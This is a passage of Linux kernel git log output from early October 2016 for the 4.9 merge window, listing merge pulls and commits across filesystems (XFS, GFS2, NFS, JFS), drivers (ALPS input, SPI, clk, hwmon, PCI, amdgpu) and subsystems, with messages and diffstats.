Tue Oct 4 13:45:09 2016 -0700 Merge tag 'jfs-4.9' of git://github.com/kleikamp/linux-shaggy Pull jfs updates from David Kleikamp: "Minor jfs updates" * tag 'jfs-4.9' of git://github.com/kleikamp/linux-shaggy: jfs: Simplify code jfs: jump to error_out when filemap_{fdatawait, write_and_wait} fails commit 5fdf4939dc66307daf30a3d5355a2bfb9d207676 Merge: c35bcfd 332f51d Author: Linus Torvalds Date: Tue Oct 4 13:42:13 2016 -0700 Merge tag 'gfs2-4.8.fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/gfs2/linux-gfs2 Pull gfs2 updates from Bob Peterson: "We've only got six GFS2 patches for this merge window. In patch order: - Fabian Frederick submitted a nice cleanup that uses the BIT macro rather than bit shifting. - Andreas Gruenbacher contributed a patch that fixes a long-standing annoyance whereby GFS2 warned about dirty pages. - Andreas also fixed a problem with the recent extended attribute readahead feature. - Chao Yu contributed a patch that checks the return code from function register_shrinker and reacts accordingly. Previously, it was not checked. - Andreas Gruenbacher also fixed a problem whereby incore file timestamps were forgotten if the file was invalidated. This merely moves the assignment inside the inode glock where it belongs. - Andreas also fixed a problem where incore timestamps were not initialized" * tag 'gfs2-4.8.fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/gfs2/linux-gfs2: gfs2: Initialize atime of I_NEW inodes gfs2: Update file times after grabbing glock gfs2: fix to detect failure of register_shrinker gfs2: Fix extended attribute readahead optimization gfs2: Remove dirty buffer warning from gfs2_releasepage GFS2: use BIT() macro commit c35bcfd8e4e11bdff2ffab823a13a59968426b15 Merge: ce866e2 d67fd44 Author: Linus Torvalds Date: Tue Oct 4 13:36:19 2016 -0700 Merge tag 'locks-v4.9-1' of git://git.samba.org/jlayton/linux Pull file locking updates from Jeff Layton: "Only a single patch from Nikolay this cycle, with a small change to better handle /proc/locks in a containerized host" * tag 'locks-v4.9-1' of git://git.samba.org/jlayton/linux: locks: Filter /proc/locks output on proc pid ns commit 3f807e5ae5597bd65a6fff684083e8eaa21f3fa7 Author: Jeff Layton Date: Tue Oct 4 00:07:43 2016 -0400 NFSv4.2: Fix a reference leak in nfs42_proc_layoutstats_generic The caller of rpc_run_task also gets a reference that must be put. Signed-off-by: Jeff Layton Cc: stable@vger.kernel.org # 4.2+ Signed-off-by: Trond Myklebust Signed-off-by: Anna Schumaker fs/nfs/nfs42proc.c | 1 + 1 file changed, 1 insertion(+) commit 2f86e0919a02d61ed2350c07f383e5542b904289 Author: Deepa Dinamani Date: Sat Oct 1 16:46:26 2016 -0700 fs: nfs: Make nfs boot time y2038 safe boot_time is represented as a struct timespec. struct timespec and CURRENT_TIME are not y2038 safe. Overall, the plan is to use timespec64 and ktime_t for all internal kernel representation of timestamps. CURRENT_TIME will also be removed. boot_time is used to construct the nfs client boot verifier. Use ktime_t to represent boot_time and ktime_get_real() for the boot_time value. Following Trond's request https://lkml.org/lkml/2016/6/9/22 , use ktime_t instead of converting to struct timespec64. Use higher and lower 32 bit parts of ktime_t for the boot verifier. Use the lower 32 bit part of ktime_t for the authsys_parms stamp field. Signed-off-by: Deepa Dinamani Reviewed-by: Arnd Bergmann Cc: Trond Myklebust Cc: Anna Schumaker Cc: linux-nfs@vger.kernel.org Signed-off-by: Anna Schumaker fs/nfs/client.c | 2 +- fs/nfs/netns.h | 2 +- fs/nfs/nfs4proc.c | 10 ++++++---- fs/nfs/nfs4xdr.c | 2 +- 4 files changed, 9 insertions(+), 7 deletions(-) commit ce866e2d182b9e00e29e7a2eed4db908257d7f79 Merge: 19fe416 61347fa Author: Linus Torvalds Date: Tue Oct 4 12:08:55 2016 -0700 Merge tag 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dledford/rdma Pull hdi1 rdma driver updates from Doug Ledford: "This is the first pull request of the 4.9 merge window for the RDMA subsystem. It is only the hfi1 driver. It had dependencies on code that only landed late in the 4.7-rc cycle (around 4.7-rc7), so putting this with my other for-next code would have create an ugly merge of lot of 4.7-rc stuff. For that reason, it's being submitted individually. It's been through 0day and linux-next" * tag 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dledford/rdma: (37 commits) IB/rdmavt: Trivial function comment corrected. IB/hfi1: Fix trace of atomic ack IB/hfi1: Update SMA ingress checks for response packets IB/hfi1: Use EPROM platform configuration read IB/hfi1: Add ability to read platform config from the EPROM IB/hfi1: Restore EPROM read ability IB/hfi1: Document new sysfs entries for hfi1 driver IB/hfi1: Add new debugfs sdma_cpu_list file IB/hfi1: Add irq affinity notification handler IB/hfi1: Add a new VL sysfs attribute for sdma engines IB/hfi1: Add sysfs interface for affinity setup IB/hfi1: Fix resource release in context allocation IB/hfi1: Remove unused variable from devdata IB/hfi1: Cleanup tasklet refs in comments IB/hfi1: Adjust hardware buffering parameter IB/hfi1: Act on external device timeout IB/hfi1: Fix defered ack race with qp destroy IB/hfi1: Combine shift copy and byte copy for SGE reads IB/hfi1: Do not read more than a SGE length IB/hfi1: Extend i2c timeout ... commit 19fe416532f798e199f04d25816b1bd36e48d6fe Merge: 58e4411 a29d64a Author: Linus Torvalds Date: Tue Oct 4 12:06:26 2016 -0700 Merge tag 'edac_for_4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/bp/bp Pull EDAC updates from Borislav Petkov: "A lot of movement in the EDAC tree this time around, coarse summary below: - Altera Arria10 enablement of NAND, DMA, USB, QSPI and SD-MMC FIFO buffers (Thor Thayer) - split the memory controller part out of mpc85xx and share it with a new Freescale ARM Layerscape driver (York Sun) - amd64_edac fixes (Yazen Ghannam) - misc cleanups, refactoring and fixes all over the place" * tag 'edac_for_4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/bp/bp: (37 commits) EDAC, altera: Add IRQ Flags to disable IRQ while handling EDAC, altera: Correct EDAC IRQ error message EDAC, amd64: Autoload module using x86_cpu_id EDAC, sb_edac: Remove NULL pointer check on array pci_tad EDAC: Remove NO_IRQ from powerpc-only drivers EDAC, fsl_ddr: Fix error return code in fsl_mc_err_probe() EDAC, fsl_ddr: Add entry to MAINTAINERS EDAC: Move Doug Thompson to CREDITS EDAC, I3000: Orphan driver EDAC, fsl_ddr: Replace simple_strtoul() with kstrtoul() EDAC, layerscape: Add Layerscape EDAC support EDAC, fsl_ddr: Fix IRQ dispose warning when module is removed EDAC, fsl_ddr: Add support for little endian EDAC, fsl_ddr: Add missing DDR DRAM types EDAC, fsl_ddr: Rename macros and names EDAC, fsl-ddr: Separate FSL DDR driver from MPC85xx EDAC, mpc85xx: Replace printk() with pr_* format EDAC, mpc85xx: Drop setting/clearing RFXE bit in HID1 EDAC, altera: Rename MC trigger to common name EDAC, altera: Rename device trigger to common name ... commit 261d7794c49b9a3bb5115c5ffc452e00f969bf43 Author: Guenter Roeck Date: Tue Oct 4 11:50:54 2016 -0700 Input: synaptics-rmi4 - fix error handling in I2C transport driver Instantiating the rmi4 I2C transport driver without interrupts assigned (for example using manual i2c instantiation from the command line) caused the driver to fail to load, but it does not clean up its regulator or transport device registrations. Result is a crash at a later time, for example when rebooting the system. Fixes: 946c8432aab0 ("Input: synaptics-rmi4 - support regulator supplies") Cc: Bjorn Andersson Signed-off-by: Guenter Roeck Signed-off-by: Dmitry Torokhov drivers/input/rmi4/rmi_i2c.c | 38 ++++++++++++++++++++++++++------------ 1 file changed, 26 insertions(+), 12 deletions(-) commit bbc2ceeb3220e54c7574f0b5e3a252fd9a62cf8a Author: Guenter Roeck Date: Tue Oct 4 11:48:55 2016 -0700 Input: synaptics-rmi4 - fix error handling in SPI transport driver Instantiating the rmi4 SPI transport driver without an interrupt assigned caused the driver to fail to load, but it does not clean up its transport device registration. Result may be a crash at a later time, for example when rebooting the system. Fixes: 8d99758dee31 ("Input: synaptics-rmi4 - add SPI transport driver") Signed-off-by: Guenter Roeck Signed-off-by: Dmitry Torokhov drivers/input/rmi4/rmi_spi.c | 22 ++++++++++++---------- 1 file changed, 12 insertions(+), 10 deletions(-) commit 574a62c93a663501fd545be9a72e6901089955e4 Author: Ben Gamari Date: Tue Oct 4 11:45:17 2016 -0700 Input: ALPS - add V8 protocol documentation Tested-by: Michal Hocko Signed-off-by: Ben Gamari Signed-off-by: Dmitry Torokhov Documentation/input/alps.txt | 57 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 57 insertions(+) commit aeaa881f9b17823028b464893b89c42db797b717 Author: Ben Gamari Date: Tue Oct 4 11:43:30 2016 -0700 Input: ALPS - set DualPoint flag for 74 03 28 devices Here we introduce logic in alps_identify to set the ALPS_DUALPOINT flag for touchpad hardware responding to E7 report with 73 03 28, as is found in the Dell Latitude E7470. Tested-by: Michal Hocko Signed-off-by: Ben Gamari Signed-off-by: Dmitry Torokhov drivers/input/mouse/alps.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 7ad8a1067dfc3bf74ad2daef013ea4f3df1841a7 Author: Ben Gamari Date: Tue Oct 4 11:41:58 2016 -0700 Input: ALPS - allow touchsticks to report pressure The SS5 hardware can report this. Tested-by: Michal Hocko Signed-off-by: Ben Gamari Signed-off-by: Dmitry Torokhov drivers/input/mouse/alps.c | 7 +++++++ 1 file changed, 7 insertions(+) commit a831776323e7c532ef9c88d0d62512ae15d78415 Author: Ben Gamari Date: Tue Oct 4 11:40:44 2016 -0700 Input: ALPS - handle 0-pressure 1F events While a button is held SS5 hardware will give us single-finger packets with x, y, and pressure equal to zero. This causes annoying jumps in pointer position if a touch is released while the button is held. Handle this by claiming zero contacts to ensure that no position events are provided to the user. Reviewed-by: Pali Rohár Tested-by: Michal Hocko Signed-off-by: Ben Gamari Signed-off-by: Dmitry Torokhov drivers/input/mouse/alps.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 4777ac220c430173e297237b896932ed5fd8aaf3 Author: Ben Gamari Date: Tue Oct 4 11:33:25 2016 -0700 Input: ALPS - add touchstick support for SS5 hardware Add touchstick support for the so-called SS5 hardware, which uses a variant of the SS4 protocol. Reviewed-by: Pali Rohár Tested-by: Michal Hocko Signed-off-by: Ben Gamari Signed-off-by: Dmitry Torokhov drivers/input/mouse/alps.c | 65 ++++++++++++++++++++++++++++++++++++++-------- drivers/input/mouse/alps.h | 2 ++ 2 files changed, 56 insertions(+), 11 deletions(-) commit 58e4411b2d05bea9992fd8ee510f696b73d314c1 Merge: 5a9f228 2ce0468 Author: Linus Torvalds Date: Tue Oct 4 11:20:10 2016 -0700 Merge tag 'spi-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/spi Pull spi updates from Mark Brown: "The SPI subsystem has also had quite a quiet release, though with a fairly large set of per-driver changes and several new drivers. The bulk of the changes are: - lots and lots of cleanups and improvements for the fsl-espi driver - new drivers for Broadcom MSPI/iProc/STB, Cavium ThunderX and J-Core" * tag 'spi-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/spi: (80 commits) spi: sc18is602: Change gpiod_set_value to gpiod_set_value_cansleep spi: pxa2xx: Fix build error because of missing header spi: imx: fix error return code in spi_imx_probe() spi: pxa2xx: Add support for GPIO descriptor chip selects spi: imx: Gracefully handle NULL master->cs_gpios spi: iproc-qspi: Add Broadcom iProc SoCs support spi: fsl-espi: improve return value handling in fsl_espi_probe spi: fsl-espi: simplify of_fsl_espi_probe spi: fsl-espi: remove unused variable in fsl_espi_setup spi: bcm-qspi: Fix error return code in bcm_qspi_probe() spi: bcm-qspi: Fix return value check in bcm_qspi_probe() spi: bcm-qspi: fix suspend/resume #ifdef spi: bcm-qspi: don't include linux/mtd/cfi.h spi: core: Use spi_sync_transfer() in spi_write()/spi_read() spi: fsl-espi: improve and extend register bit definitions spi: fsl-espi: align register access with other drivers spi: fsl-espi: improve and simplify interrupt handler spi: fsl-espi: simplify fsl_espi_setup_transfer spi: imx: support loopback mode on imx35 spi: imx: set spi_bus_clk for mx1, mx31 and mx35 ... commit 5a9f228a183bc18bbc64a12a962adc2c7305782c Merge: 808c2b0 2ed89d5 Author: Linus Torvalds Date: Tue Oct 4 11:16:38 2016 -0700 Merge tag 'regulator-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/regulator Pull regulator updates from Mark Brown: "This is an extremely quiet release for the regulator API, we've got a small set of bug fixes and minor feature enhancements for drivers plus a couple of more visible changes: - add support for ramp times in regulators that don't use selectors. - new driver for LTC3676" * tag 'regulator-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/regulator: regulator: dbx500: remove unused functions in dbx500-prcmu.c regulator: pv88080: Update regulator for PV88080 BB silicon support regulator: core: don't return error with inadequate reason regulator: tps65910: Work around silicon erratum SWCZ010 regulator: core: Add set_voltage_time op regulator: core: Don't skip set_voltage_time when ramp delay disabled regulator: core: Simplify error flow in _regulator_do_set_voltage() regulator: core: Use local ops variable in _regulator_do_set_voltage() regulator: hi6421: mark hi6421_regulator_ldo_get_optimum_mode() static regulator: Kconfig: Fix typo regulator: bindings: Use the correct symbol for second regulator: Remove support for optional supplies in the bulk API regulator: Add LTC3676 support regulator: rk808: Delete owner assignment regulator: tps65218: do not disable DCDC3 during poweroff on broken PMICs mfd: tps65218: add version check to the PMIC probe commit 808c2b0583f010d3993ae534980af55c43c1adba Merge: 5617c12 f785fb2 Author: Linus Torvalds Date: Tue Oct 4 11:12:35 2016 -0700 Merge tag 'regmap-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/regmap Pull regmap updates from Mark Brown: "Another quiet release, a few small extensions to the set of register maps we support and an improvement in the debugfs code: - allow viewing of cached contents for write only registers via debugfs. - support a wider range of read/write flag masks in register formats. - support more little endian formats" * tag 'regmap-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/regmap: regmap: Add missing little endian functions regmap: Allow longer flag masks for read and write regmap: debugfs: Add support for dumping write only device registers regmap: Add a function to check if a regmap register is cached commit 17c12bcd3030e4b3247d0c961ce598c731a9dcf9 Author: Darrick J. Wong Date: Mon Oct 3 09:11:29 2016 -0700 xfs: when replaying bmap operations, don't let unlinked inodes get reaped Log recovery will iget an inode to replay BUI items and iput the inode when it's done. Unfortunately, if the inode was unlinked, the iput will see that i_nlink == 0 and decide to truncate & free the inode, which prevents us from replaying subsequent BUIs. We can't skip the BUIs because we have to replay all the redo items to ensure that atomic operations complete. Since unlinked inode recovery will reap the inode anyway, we can safely introduce a new inode flag to indicate that an inode is in this 'unlinked recovery' state and should not be auto-reaped in the drop_inode path. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/xfs_bmap_item.c | 2 ++ fs/xfs/xfs_inode.c | 1 + fs/xfs/xfs_inode.h | 6 ++++++ fs/xfs/xfs_log_recover.c | 1 + fs/xfs/xfs_mount.c | 9 +++++++++ fs/xfs/xfs_super.c | 10 ++++++++++ 6 files changed, 29 insertions(+) commit 9f3afb57d5f1e7145986132106c6ca91f8136cc2 Author: Darrick J. Wong Date: Mon Oct 3 09:11:28 2016 -0700 xfs: implement deferred bmbt map/unmap operations Implement deferred versions of the inode block map/unmap functions. These will be used in subsequent patches to make reflink operations atomic. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_bmap.c | 143 +++++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_bmap.h | 9 +++ fs/xfs/libxfs/xfs_defer.h | 1 + fs/xfs/xfs_bmap_item.c | 65 +++++++++++++++++- fs/xfs/xfs_error.h | 4 +- fs/xfs/xfs_super.c | 1 + fs/xfs/xfs_trace.h | 5 ++ fs/xfs/xfs_trans.h | 1 + fs/xfs/xfs_trans_bmap.c | 167 +++++++++++++++++++++++++++++++++++++++++++++- 9 files changed, 393 insertions(+), 3 deletions(-) commit 4847acf868bb426455c8b703c80ed5fc5e2ee556 Author: Darrick J. Wong Date: Mon Oct 3 09:11:27 2016 -0700 xfs: pass bmapi flags through to bmap_del_extent Pass BMAPI_ flags from bunmapi into bmap_del_extent and extend BMAPI_REMAP (which means "don't touch the allocator or the quota accounting") to apply to bunmapi as well. This will be used to implement the unmap operation, which will be used by swapext. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_bmap.c | 9 +++++---- fs/xfs/libxfs/xfs_bmap.h | 3 +++ 2 files changed, 8 insertions(+), 4 deletions(-) commit f65306ea5246ef3ff68a6abf85f5a73a04903366 Author: Darrick J. Wong Date: Mon Oct 3 09:11:27 2016 -0700 xfs: map an inode's offset to an exact physical block Teach the bmap routine to know how to map a range of file blocks to a specific range of physical blocks, instead of simply allocating fresh blocks. This enables reflink to map a file to blocks that are already in use. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_bmap.c | 68 ++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_bmap.h | 10 ++++++- fs/xfs/xfs_trace.h | 54 ++++++++++++++++++++++++++++++++++++++ 3 files changed, 131 insertions(+), 1 deletion(-) commit 77d61fe45e720577a2cc0e9580fbc57d8faa7232 Author: Darrick J. Wong Date: Mon Oct 3 09:11:26 2016 -0700 xfs: log bmap intent items Provide a mechanism for higher levels to create BUI/BUD items, submit them to the log, and a stub function to deal with recovered BUI items. These parts will be connected to the rmapbt in a later patch. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/Makefile | 1 + fs/xfs/libxfs/xfs_bmap.h | 13 ++++ fs/xfs/xfs_bmap_item.c | 69 ++++++++++++++++++ fs/xfs/xfs_bmap_item.h | 1 + fs/xfs/xfs_log_recover.c | 177 +++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_trans.h | 13 ++++ fs/xfs/xfs_trans_bmap.c | 84 ++++++++++++++++++++++ 7 files changed, 358 insertions(+) commit 6413a01420c2fbf03b3d059795f541caeb962e86 Author: Darrick J. Wong Date: Mon Oct 3 09:11:25 2016 -0700 xfs: create bmbt update intent log items Create bmbt update intent/done log items to record redo information in the log. Because we roll transactions multiple times for reflink operations, we also have to track the status of the metadata updates that will be recorded in the post-roll transactions in case we crash before committing the final transaction. This mechanism enables log recovery to finish what was already started. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/Makefile | 1 + fs/xfs/libxfs/xfs_log_format.h | 58 ++++++- fs/xfs/xfs_bmap_item.c | 374 +++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_bmap_item.h | 97 +++++++++++ fs/xfs/xfs_super.c | 18 ++ 5 files changed, 546 insertions(+), 2 deletions(-) commit 5617c122e6015e2371c0bd6b5ad2e070844df24a Merge: 77b0a4a b4626a7 Author: Linus Torvalds Date: Tue Oct 4 11:04:57 2016 -0700 Merge tag 'clk-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/clk/linux Pull clk framework updates from Stephen Boyd: "The core clk framework changes are small again. They're mostly minor fixes that weren't causing enough problems (or any problems when we're just clarifying things) to warrant sending outside the merge window. The majority of changes are in drivers for various SoCs. Full details are in the logs, but here's the summary. Core: - Better support for DeviceTree overlays with the addition of the CLK_OF_DECLARE_DRIVER macro. Now we won't probe a clk driver for a device node that matched during of_clk_init(), unless the driver uses CLK_OF_DECLARE_DRIVER instead of CLK_OF_DECLARE. This allows overlays to work cleanly for drivers that must probe before the device model is ready, and also after it's ready when an overlay is loaded. - Clarification in the code around how clk_hw pointers are returned from of clk providers - Proper migration of prepare/enable counts to parents when the clk tree is constructed New Drivers: - Socionext's UniPhier SoCs - Loongson1C - ZTE ZX296718 - Qualcomm MDM9615 - Amlogic GXBB AO clocks and resets - Broadcom BCM53573 ILP - Maxim MAX77620 Updates: - Four Allwinner SoCs are migrated to the new style clk driver (A31, A31s, A23 and A33) - Exynos 5xxx audio and DRAM clks - Loongson1B AC97, DMA and NAND clks - Rockchip DDR clks and rk3399 driver tweaks - Renesas R-Car M3-W (r8a7796) SoC SDHI interface and Watchdog timer clks - Renasas R-Car H3 and M3-W CMT clks and RAVB+Thermal clks for M3-W - Amlogic GXBB MMC gate clks - at91 sama5d4 sckc - Removal of STiH415 and STiH416 clk support as the SoC is being removed - Rework of STiH4xx clk support for new style bindings - Continuation of driver migration to clk_hw based registration APIs - xgene PMD support - bcm2835 critical clk markings - ARM versatile ICST" * tag 'clk-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/clk/linux: (199 commits) CLK: Add Loongson1C clock support clk: Loongson1: Make use of GENMASK clk: Loongson1: Update clocks of Loongson1B clk: Loongson1: Refactor Loongson1 clock clk: change the type of clk_hw_onecell_data.num to unsigned int clk: zx296718: register driver earlier with core_initcall clk: mvebu: dynamically allocate resources in Armada CP110 system controller clk: mvebu: fix setting unwanted flags in CP110 gate clock clk: nxp: clk-lpc32xx: Unmap region obtained by of_iomap clk: mediatek: clk-mt8173: Unmap region obtained by of_iomap clk: sunxi-ng: Fix reset offset for the A23 and A33 clk: at91: sckc: optimize boot time clk: at91: Add sama5d4 sckc support clk: at91: move slow clock controller clocks to sckc.c clk: imx6: initialize GPU clocks clk: imx6: fix i.MX6DL clock tree to reflect reality clk: imx53: Add clocks configuration clk: uniphier: add clock data for UniPhier SoCs clk: uniphier: add core support code for UniPhier clock driver clk: bcm: Add driver for BCM53573 ILP clock ... commit 77b0a4aa0732f1856aef85b8db085864e5971a14 Merge: f80fa18 7ce4190 Author: Linus Torvalds Date: Tue Oct 4 10:56:14 2016 -0700 Merge tag 'hwmon-for-linus-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/groeck/linux-staging Pull hwmon updates from Guenter Roeck: - New hwmon registration API, including ports of several drivers to the new API - New hwmon driver for APM X-Gene SoC - Added support for UCD90160, DPS-460, DPS-800, and SGD009 PMBUs chips - Various cleanups, minor improvements, and fixes in several drivers * tag 'hwmon-for-linus-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/groeck/linux-staging: (54 commits) hwmon: (nct6775) Add support for multiple virtual temperature sources hwmon: (adt7470) No need for additional synchronization on kthread_stop() hwmon: (lm95241) Update module description to include LM95231 hwmon: (lm95245) Select REGMAP_I2C hwmon: (ibmpowernv) Fix label for cores numbers not threads hwmon: (adt7470) Allow faster removal hwmon: (adt7470) Add write support to alarm_mask hwmon: (xgene) access mailbox as RAM hwmon: (lm95245) Use new hwmon registration API hwmon: (lm95241) Convert to use new hwmon registration API hwmon: (jc42) Convert to use new hwmon registration API hwmon: (max31790) Convert to use new hwmon registration API hwmon: (nct7904) Convert to use new hwmon registration API hwmon: (ltc4245) Convert to use new hwmon registration API hwmon: (tmp421) Convert to use new hwmon registration API hwmon: (tmp102) Convert to use new hwmon registration API hwmon: (lm90) Convert to use new hwmon registration API hwmon: (lm75) Convert to use new hwmon registration API hwmon: (xgene) Fix crash when alarm occurs before driver probe hwmon: (iio_hwmon) defer probe when no channel is found ... commit 181ffd19cc9898f795646bf9a897072a419a51ed Author: Keith Busch Date: Tue Oct 4 12:26:37 2016 -0500 x86/PCI: VMD: Move VMD driver to drivers/pci/host Move the driver source and Kconfig to the PCI host bridge drivers directory and move the config option to a more appropriate sub-menu instead of occupying the top-level location. Update the Kconfig option with the X86_64 dependency that was implicitly included from the previous location, and add information about the module name when built as a loadable module. Signed-off-by: Keith Busch Signed-off-by: Bjorn Helgaas CC: Jon Derrick arch/x86/Kconfig | 13 - arch/x86/pci/Makefile | 2 - arch/x86/pci/vmd.c | 761 ---------------------------------------------- drivers/pci/host/Kconfig | 16 + drivers/pci/host/Makefile | 1 + drivers/pci/host/vmd.c | 761 ++++++++++++++++++++++++++++++++++++++++++++++ 6 files changed, 778 insertions(+), 776 deletions(-) commit f80fa1822d6ccca369578108dc70576cff6c67a0 Merge: 21f54dd 6f3bad9 Author: Linus Torvalds Date: Tue Oct 4 10:25:53 2016 -0700 Merge branch 'for-next' of git://git.kernel.org/pub/scm/linux/kernel/git/j.anaszewski/linux-leds Pull LED driver updates from Jacek Anaszewski: "Three new LED class drivers and some minor fixes and improvementes to the leds-gpio driver, LED Trigger core and documentation" * 'for-next' of git://git.kernel.org/pub/scm/linux/kernel/git/j.anaszewski/linux-leds: leds: triggers: Check return value of kobject_uevent_env() leds: triggers: Return from led_trigger_set() if there is nothing to do leds: gpio: fix and simplify error handling in gpio_leds_create leds: gpio: switch to managed version of led_classdev_register leds: gpio: fix and simplify reading property "label" leds: gpio: simplify gpio_leds_create leds: gpio: add helper cdev_to_gpio_led_data leds: gpio: fix an unhandled error case in create_gpio_led leds: gpio: introduce gpio_blink_set_t leds: add driver for Mellanox systems LEDs Documentation: move oneshot trigger attributes documentation to ABI leds: centralize definition of "default-state" property leds: add PM8058 LEDs driver leds: pm8058: add device tree bindings leds: do not overflow sysfs buffer in led_trigger_show leds: make triggers explicitly non-modular DT: leds: Add bindings for ISSI is31fl319x leds: is31fl319x: 1/3/6/9-channel light effect led driver commit ca1989084054e64da25662e1f974f77312083eb3 Author: Shawn Lin Date: Tue Oct 4 12:20:22 2016 -0500 PCI: rockchip: Fix wrong transmitted FTS count If the expected number of FTS aren't received by RC when exiting from L0s, the LTSSM will fall into recover state, which means it will need to send TS for retraining which makes the latency of exiting from L0s a little longer than expected. This issue is caused by an incorrect reset value of FTS count on PLC1 register (offset 0x4). The expected value for Gen1/2 should be more than 240 and we may leave a little margin here. Fix this before starting Gen1 training which will make TS1 contain the correct FTS count. Signed-off-by: Shawn Lin Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-rockchip.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 58c6990c5ee772c2551193f053e51a52b9984b49 Author: Shawn Lin Date: Fri Sep 23 10:05:59 2016 +0800 PCI: rockchip: Improve the deassert sequence of four reset pins Per TRM, we need to deassert the four reset pins simultaneously. Currently the reset framework doesn't support that so we did it one by one. It seems no side effect found but it does impact the state machine of controller, so sometimes the change speed bit is not set when sending training sequence from recover state. After the silicon RTL review from SoC guys, we don't need to do the sequence recommended by TRM, and could just move the deassert of mgmt_sticky_rst to the first place. Signed-off-by: Shawn Lin Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-rockchip.c | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) commit 277743ef616defc870d101f9cf9d3488aba1c1b6 Author: Rajat Jain Date: Thu Sep 22 17:50:42 2016 -0700 PCI: rockchip: Increase the Max Credit update interval Increase the likelihood of link state to automatically go to L1 and save some power. The default credit update interval of 7.5 us results in the rootport sending UpdateFC-P and UpdateFC-NP packets too often, thus resulting in the link never going to L1, and always staying in L0/L0s. The value 24 us was chosen after some experiments and peeking over the PCIe bus to see that we do enter L1 substate when there is not enough traffic on the PCIe bus. Signed-off-by: Rajat Jain Signed-off-by: Bjorn Helgaas Acked-by: Shawn Lin drivers/pci/host/pcie-rockchip.c | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) commit b3327f7fae66daf918ce72214eb464e434193523 Author: Sergei Shtylyov Date: Thu Sep 22 23:20:18 2016 +0300 PCI: rcar: Try increasing PCIe link speed to 5 GT/s at boot The PCIe link speed is initially set to 2.5 GT/s. Try to increase the link speed to 5 GT/s. Based on original patch by Grigory Kletsko . [bhelgaas: remove "Trying speed up" message, remove unused SPCHG] Signed-off-by: Sergei Shtylyov Signed-off-by: Bjorn Helgaas Acked-by: Simon Horman drivers/pci/host/pcie-rcar.c | 66 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) commit 8cb619d82ef9668cb820311904391bc493872b67 Author: Alex Deucher Date: Thu Sep 29 23:20:29 2016 -0400 drm/amdgpu/virtual_dce: adjust config ifdef Include the CIK asics in the ifdef. Reviewed-By: Emily Deng Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_virtual.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 5eeda8a4813459d6d9bb108ac42b1c8acda50cf9 Author: Alex Deucher Date: Fri Sep 23 17:22:42 2016 -0400 drm/amdgpu/vce: add support for hw config packet (v2) This is needed for proper VCE DPM on some APUs. v2: fix the asic list Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vce.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit 806c60c2c1d387068dd2b47efdb52aac9a1f75ef Author: Huang Rui Date: Wed Sep 28 16:04:33 2016 +0800 drm/amdgpu: clean up to set fw_offset as 0 twice Signed-off-by: Huang Rui Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ucode.c | 1 - 1 file changed, 1 deletion(-) commit c64474e4f72f21aec4ae27eab39b563cfd25561d Author: Alex Deucher Date: Wed Sep 28 16:37:15 2016 -0400 drm/amdgpu: remove DRM_AMD_POWERPLAY Powerplay is no longer optional after the recently cleanups Reviewed-by: Edward O'Callaghan Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/Kconfig | 1 - drivers/gpu/drm/amd/amdgpu/Makefile | 4 ---- drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 2 -- drivers/gpu/drm/amd/amdgpu/amdgpu_powerplay.c | 13 +------------ drivers/gpu/drm/amd/powerplay/Kconfig | 6 ------ 5 files changed, 1 insertion(+), 25 deletions(-) commit 363926dc9ef65a3813fa778e85f85dd756c8652f Author: Mario Kleiner Date: Sat Sep 17 14:25:39 2016 +0200 drm/radeon: Prevent races on pre DCE4 between flip submission and completion. Pre DCE4 hw doesn't have reliable pageflip completion interrupts, so instead polling for flip completion is used from within the vblank irq handler to complete page flips. This causes a race if pageflip ioctl is called close to vblank: 1. pageflip ioctl queues execution of radeon_flip_work_func. 2. vblank irq fires, radeon_crtc_handle_vblank checks for flip_status == FLIP_SUBMITTED finds none, no-ops. 3. radeon_flip_work_func runs inside vblank, decides to set flip_status == FLIP_SUBMITTED and programs the flip into hw. 4. 